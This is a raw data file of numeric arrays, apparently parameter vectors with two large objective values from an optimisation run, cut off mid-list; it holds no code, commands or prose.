[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4696825367906723e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 187303786818.71506, 99962477826.90034] [-8.29844666406642e-10, -1.3259182588069894e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.492800478197597e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 190148608462.3526, 100180028793.6191] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.4907384876305387e-05, -1.799557982850986e-06, -1.836034443165441e-08, 9.081976758127089e-10, 192885903228.52237, 100290100926.3771] [-8.372802930516975e-10, -1.340114474894997e-12, -1.9475632661250835e-13, 4.852404641399239e-11, -1.4659424506650604e-10, -1.803543054789903e-15, 8.839563844754409e-16, 2.492800478197597e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 193159834117.98853, 100447140164.3877] [-8.45347775440883e-10, -1.3359785407261977e-12, -1.9409478257397567e-13, 4.852404641399239e-11, -1.463585775827913e-10, -1.812045689500589e-15, 8.706272486016714e-16, 2.4957985197946978e-05, -1.8015495121292713e-06, -1.836034443165441e-08, 9.087619653117874e-10, 192907161589.0385, 100872818268.9527] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15, 8.705169785374419e-16, 2.4957985197946978e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 183710210581.81177, 101076246798.6337] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15, 8.765174154706532e-16, 2.542150809952725e-05, -1.7997194394724915e-06, -1.850709631603352e-08, 9.087619653117874e-10, 168715457724.7375, 101683114493.3993] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.849645416672899e-11, -1.432701673757514e-10, -1.803543054789903e-15, 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 153789626574.96255, 105699410466.83022] [-8.372802930516975e-10, -1.3398025228100945e-12, -1.9531413192683389e-13, 4.855683396544643e-11, -1.4675478300173032e-10, -1.803543054789903e-15, 8.714032924475303e-16, 2.4957985197946978e-05, -1.793948394990656e-06, -1.836034443165441e-08, 9.081976758127089e-10, 159560429502.34207, 105861289429.36061] [-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.869384519400452e-11, -1.432701673757514e-10, -1.7864100157215748e-15, 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06, -1.836034443165441e-08, 9.087619653117874e-10, 147461834890.53723, 106068644665.40553] [-8.372802930516975e-10, -1.3292316984383345e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4760843266911815e-10, -1.7864100157215748e-15, 8.706272486016714e-16, 2.492800478197597e-05, -1.7933608637070708e-06, -1.836034443165441e-08, 9.087979750822277e-10, 147793960453.4741, 109638154986.2024] [-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.8434260838579935e-11, -1.4561659265574012e-10, -1.819718397269023e-15, 8.775397316555329e-16, 2.4948775411850268e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.081976758127089e-10, 150492287670.62976, 114344342719.97507] [-8.406587076953522e-10, -1.318355348076889e-12, -1.9519777560623135e-13, 4.855683396544643e-11, -1.4760843266911815e-10, -1.815921924023075e-15, 8.839563844754409e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.78632, 115101067854.31332] [-8.389236670603421e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.717072130867646e-16, 2.4957985197946978e-05, -1.7900208911755532e-06, -1.836034443165441e-08, 9.087619653117874e-10, 137339476236.27339, 120797794814.05704] [-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.492800478197597e-05, -1.786297491730252e-06, -1.836034443165441e-08, 9.087619653117874e-10, 128365631923.39072, 133721716481.47603] [-8.361552586353477e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15, 8.705169785374419e-16, 2.483403849637781e-05, -1.783565701728919e-06, -1.836034443165441e-08, 9.095300241628919e-10, 123047993752.2489, 147005409641.27127] [-9.129396902499863e-10, -1.290047843436073e-12, -2.702634930634393e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1792166675464865e-15, 9.365717147446797e-16, 1.8994698205972217e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 169675879824.58978, 156722470654.13324] [6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, 4.701662665204773e-11, -1.4934765549498044e-10, -2.0495920936053975e-15, 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.48868, 167972224844.19583] [6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, 4.701662665204773e-11, -1.4986345441105813e-10, -2.0495920936053975e-15, 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.75635, 167972224843.92523] [-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, 192873830899.82352] [6.303262263534727e-10, -1.290047843436073e-12, -2.5988950272728827e-13, 4.58556551164694e-11, -1.4986345441105813e-10, -2.1913589342035502e-15, 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 164354464752.25952, 160840990423.46024] [6.354744988103506e-10, -1.2096663849982051e-12, -1.830526663998671e-13, 4.6589669053151376e-11, -1.4986345441105813e-10, -2.0495920936053975e-15, 8.502785255135087e-16, 1.894858193847651e-05, -1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10, 96467208837.94556, 179586543004.98117] [-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, 4.58556551164694e-11, -1.8580228849463816e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.9540146753875297e-05, -1.8218396850604304e-06, -1.3360134446642706e-08, 8.759216763039946e-10, 117765020064.66293, 187118262382.8758] [-9.129396902499863e-10, -1.3004166005044262e-12, -1.8356995493902235e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.962681376929987e-05, -1.8050933870374392e-06, -1.3418860642065019e-08, 8.693561802236366e-10, 122674650037.46736, 187415567631.77402] [-9.212545260772544e-10, -1.2799153483071088e-12, -1.8213920664100724e-13, 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, 192873830899.82352] [-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, 4.6154548476823616e-11, -1.8724359625458014e-10, -2.1913589342035502e-15, 9.358479354640953e-16, 1.9540146753875297e-05, -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.02731, 192873830899.82806] [2.2152115305769157e-10, -1.6907719215642795e-12, -2.5108769063589337e-13, 4.9793760275117476e-11, -2.0780774158604122e-10, -2.1593626664102876e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.77876424822685e-10, 170388218306.66492, 168925348515.4128] [2.2152115305769157e-10, -1.6907719215642795e-12, -2.1051647732787472e-13, 4.9793760275117476e-11, -2.0780774158604122e-10, -2.1790706433018085e-15, 8.836470142939426e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.771058818345121e-10, 191821821495.1242, 158798904598.69617] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15, 8.836470142939426e-16, 2.0217203662255432e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.771058818345121e-10, 177069079234.4985, 163375067226.8736] [2.213664545134999e-10, -1.2059133330572482e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.508245699810314e-08, 8.771058818345121e-10, 197879714583.27084, 152444791757.7255] [0.0, -1.223723210207519e-12, -2.1051647732787472e-13, 4.971358693780409e-11, -1.7352085678160897e-10, -2.165433707987142e-15, 7.304553415989529e-16, 2.0047355685146273e-05, -1.7657604268720381e-06, -1.4977385439375226e-08, 8.771058818345121e-10, 197945074606.02325, 153164597685.87036] [2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 111986329581.05826, 155849166742.8801] [2.2133713135172913e-10, -1.2059133330572482e-12, -2.5107145183244764e-13, 5.011120217163613e-11, -1.724660990140153e-10, -2.1790706433018085e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.771058818345121e-10, 187269085984.5673, 161472427331.15216] [0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -2.145058695065051e-15, 7.430575474541962e-16, 2.0053347897812537e-05, -1.7639524821935923e-06, -1.4682044872577598e-08, 8.728626586100963e-10, 152433850624.54852, 175966043507.07343] [0.0, -1.223723210207519e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -2.1790706433018085e-15, 7.430575474541962e-16, 1.9918519209106862e-05, -1.7685796144533914e-06, -1.4682044872577598e-08, 8.771058818345121e-10, 153535961138.3572, 184829802626.36642] [2.2152115305769157e-10, -1.200937983572784e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7420072583381303e-10, -1.8426407940693324e-15, 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.77588, 189416231139.84406] [0.0, -1.2207456906260254e-12, -2.1065990049856794e-13, 4.9793760275117476e-11, -2.0772853669541976e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 1.9867416915370552e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.728626586100963e-10, 160631139543.06137, 122019730569.7476] [2.2152115305769157e-10, -1.1984578022968498e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -1.857281675942834e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 153487531028.94116, 128597452665.91768] [0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 142632578694.80914, 130195065921.46504] [2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, 161449199082.99103] [0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -1.857281675942834e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.769936435419886e-06, -1.4682044872577598e-08, 8.728626586100963e-10, 100156348461.68698, 161778485371.36353] [0.0, -1.1984578022968498e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.760544278271184e-10, 100072993312.46272, 171303112707.4717] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 4.9793760275117476e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 8.836470142939426e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 97245352689.07887, 174341101475.58182] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9675085987122204e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 92503635735.71886, 182996786041.40976] [0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7677981323511262e-10, -2.1612081417375267e-15, 7.470344646267989e-16, 2.0053347897812537e-05, -1.7639524821935923e-06, -1.4645406166689473e-08, 8.730660207999707e-10, 148185335900.70355, 185221791801.95062] [2.2111462065028517e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, 5.056589741460715e-11, -1.7420072583381303e-10, -1.8426407940693324e-15, 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.76936, 189416231139.85312] [2.2152115305769157e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7420072583381303e-10, -1.8276902524925885e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.771058818345121e-10, 90666406593.2125, 190153350507.14474] [2.2152115305769157e-10, -1.2049195466583994e-12, -2.1065990049856794e-13, 4.98075339514226e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 7.454251311051652e-16, 2.0095046248399238e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.771058818345121e-10, 89706134652.28279, 197738317572.1617] [0.0, -1.2031098015567e-12, -2.1065990049856794e-13, 5.0102593857564815e-11, -1.7352085678160897e-10, -1.819039898810471e-15, 7.460417812765263e-16, 2.0200374650352852e-05, -1.7758673160173464e-06, -1.5202351660972107e-08, 8.760544278271184e-10, 160476853944.9334, 119035825863.27417] [2.2152115305769157e-10, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5344868185414675e-08, 8.771058818345121e-10, 180743589801.84604, 120144468135.82727] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.947687927376915e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.04140411384885e-05, -1.7639524821935923e-06, -1.5078308038358913e-08, 8.683463468773267e-10, 146622662638.346, 120359956158.03543] [0.0, -1.1984578022968498e-12, -2.094909506024221e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7813149517985466e-06, -1.5091093694835327e-08, 8.760544278271184e-10, 171477577754.58575, 120995758664.39177] [2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, 4.9967768219433575e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.5091093694835327e-08, 8.703632209100975e-10, 151029089477.88403, 121221447183.73479] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, 123962248783.03809] [2.233355889138985e-10, -1.2031098015567e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 148301377250.4212, 129257349906.46594] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.448076765658434e-16, 2.0200374650352852e-05, -1.7728642137544318e-06, -1.517941226634992e-08, 8.771058818345121e-10, 131981382341.97574, 129372470770.49553] [0.0, -1.2031098015567e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 8.836470142939426e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 142632578694.80914, 130195065921.46504] [-5.2595470648843136e-09, -1.2003583976149596e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7461898455625076e-10, -1.8426407940693324e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 142718091682.67987, 132029509845.4832] [2.2257852388875064e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9793760275117476e-11, -1.7380412465809723e-10, -1.841021101878205e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 126150709659.35735, 137741348069.72827] [0.0, -1.2344709098355012e-12, -2.090479539659853e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15, 7.485411998460075e-16, 1.981538293869461e-05, -1.769936435419886e-06, -1.4682044872577598e-08, 8.711551918674385e-10, 114088676894.18327, 143862344272.2216] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, 143868003797.30536] [2.2152115305769157e-10, -1.2003583976149596e-12, -2.088572649745598e-13, 4.995108013618423e-11, -1.7207960562590789e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.015341505664753e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10, 115848531243.76457, 151496866956.06183] [7.878840270455085e-09, -1.2071709641632366e-12, -2.088572649745598e-13, 5.022894055850661e-11, -1.7352085678160897e-10, -1.8610445297760222e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.760544278271184e-10, 113456911424.16617, 154679332976.7693] [0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.760544278271184e-10, 107979663117.77498, 158587944243.3901] [2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 7.451496753853957e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, 161449199082.99103] [2.1977210438689425e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, 161449199082.99103] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.099781497267347e-13, 4.9793760275117476e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.0299458575301996e-05, -1.756844278469525e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 101036412554.48618, 178952195751.12357] [0.0, -1.2071709641632366e-12, -2.088572649745598e-13, 4.9793760275117476e-11, -1.7352085678160897e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.0200374650352852e-05, -1.7587739009571313e-06, -1.5202351660972107e-08, 8.768692858683927e-10, 101115281125.52821, 181312381109.07834] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9675085987122204e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 92503635735.71886, 182996786041.40976] [2.2295275331941093e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 4.9675085987122204e-11, -1.7558160485557454e-10, -1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 92503635735.71886, 182996786041.40976] [0.0, -1.223723210207519e-12, -2.1065990049856794e-13, 5.011120217163613e-11, -1.7707453284878416e-10, -1.866210682668369e-15, 7.430575474541962e-16, 1.9722774245768875e-05, -1.769936435419886e-06, -1.4682044872577598e-08, 8.760544278271184e-10, 88317753591.74515, 193403737351.61066] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7493239251088378e-06, -1.5085870105283375e-08, 8.701394499644777e-10, 90763281590.1167, 199093039398.6542] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15, 7.387655049943961e-16, 1.981538293869461e-05, -1.769936435419886e-06, -1.4563889985865401e-08, 8.644597543611974e-10, 157634872361.7637, 120593643708.66519] [2.2257852388875064e-10, -1.2070230966272908e-12, -2.1051647732787472e-13, 5.027931250826744e-11, -1.755220169767042e-10, -1.810973414699955e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 159354716917.0895, 121269083493.68436] [0.0, -1.2031098015567e-12, -2.090479539659853e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8577367523496564e-15, 7.430575474541962e-16, 1.9814643005749893e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.711551918674385e-10, 168378423128.42877, 121439949900.90005] [2.198369754018213e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7513929529124395e-10, -1.82610373802557e-15, 7.448076765658434e-16, 2.0042195789951223e-05, -1.7728642137544318e-06, -1.5013783998899997e-08, 8.734593739302048e-10, 147068576327.25705, 122027384226.92] [2.2257852388875064e-10, -1.2059133330572482e-12, -2.090479539659853e-13, 4.9793760275117476e-11, -1.7849498396021264e-10, -1.841021101878205e-15, 7.556782953802372e-16, 2.022642042947946e-05, -1.769936435419886e-06, -1.5202351660972107e-08, 8.750599822793858e-10, 149871632956.7388, 122750625888.09634] [2.2152115305769157e-10, -1.2344709098355012e-12, -2.1013781830316155e-13, 5.011120217163613e-11, -1.7343044399460855e-10, -1.857281675942834e-15, 7.430575474541962e-16, 2.0343113714890682e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 151082881535.07886, 122935226427.98189] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, 123962248783.03809] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.735477478457909e-10, 133427418313.38545, 131702579310.68652] [2.2152115305769157e-10, -1.2071709641632366e-12, -2.116126459765591e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.517941226634992e-08, 8.771058818345121e-10, 137250169853.3863, 133211383937.09729] [-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99263, 143105235055.608] [2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69511, 143860615432.91934] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118202331336.15999, 145092770865.8836] [0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760544278271184e-10, 110377805870.9487, 155477031697.76462] [0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7281503437685213e-10, -1.82610373802557e-15, 8.836470142939426e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.760544278271184e-10, 107979663117.63412, 158587944243.89005] [0.0, -1.2031098015567e-12, -2.522559178506789e-13, 5.003845283040925e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.9950498914670327e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.760544278271184e-10, 99132279868.34593, 171185572417.85907] [2.2257852388875064e-10, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.82610373802557e-15, 8.811799226535086e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.508244156181531e-08, 8.760544278271184e-10, 93130287119.72461, 180430143233.58368] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8265258253512156e-15, 7.430575474541962e-16, 2.0240988631290876e-05, -1.7728642137544318e-06, -1.5013783998899997e-08, 8.784555835692595e-10, 86927194519.4496, 183449646874.34637] [7.863427642383715e-09, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.500055802123721e-08, 8.750599822793858e-10, 87084714365.5935, 191076754457.2524] [0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15, 7.485411998460075e-16, 1.9750639916729973e-05, -1.769936435419886e-06, -1.5013783998899997e-08, 8.825388912755251e-10, 96474604776.96465, 194275355409.06598] [0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11, -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, 2.022642042947946e-05, -1.7639524821935923e-06, -1.503739318330452e-08, 8.760544278271184e-10, 86984982238.58047, 194967876303.00238] [1.5200576895768509e-09, -1.2059133330572482e-12, -2.0752021923147355e-13, 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, 7.479116563110691e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.4682044872577598e-08, 8.724478065416361e-10, 82147238279.93182, 198112832281.90573] [2.223825616669009e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7326944854292794e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.534155691698868e-08, 8.721578527250325e-10, 175522473614.0067, 115813093887.0164] [2.2296631466270538e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.430575474541962e-16, 2.0431066002844864e-05, -1.7780476812466564e-06, -1.5013783998899997e-08, 8.717160979795123e-10, 146919548917.9041, 118508631814.89664] [2.2152115305769157e-10, -1.2131115225525171e-12, -2.088572649745598e-13, 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.529126273308479e-08, 8.750599822793858e-10, 189141514324.11395, 119478476003.54858] [2.2152115305769157e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.515944456372276e-08, 8.735477478457909e-10, 171393648132.89902, 119746195767.88297] [2.2152115305769157e-10, 